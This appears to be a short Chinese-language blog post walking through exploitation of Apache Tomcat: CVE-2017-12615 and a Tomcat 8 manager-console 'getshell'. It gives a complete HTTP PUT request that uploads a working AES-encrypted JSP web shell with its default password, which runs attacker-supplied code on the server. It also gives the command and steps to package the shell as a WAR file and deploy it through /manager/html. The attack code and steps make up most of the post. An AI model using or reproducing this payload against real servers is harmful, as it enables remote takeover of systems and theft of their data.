Tomcat

1.漏洞复现

CVE-2017-12615

影响范围:Tomcat 7.0.x

访问主页抓包,改用PUT请求上传JSP一句话木马

PUT /shell.jsp/ HTTP/1.1
Host: 192.168.135.131:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

Tomcat8后台GetShell

将JSP一句话木马制作为war包

jar cvf shell.war shell.jsp

登录后台,路径:/manager/html,在 WAR file to deploy 上传war包

木马路径:/shell/shell.jsp(根据自己的文件名改)

posted @ 2023-01-12 22:57  Hacker&Cat  阅读(33)  评论(0编辑  收藏  举报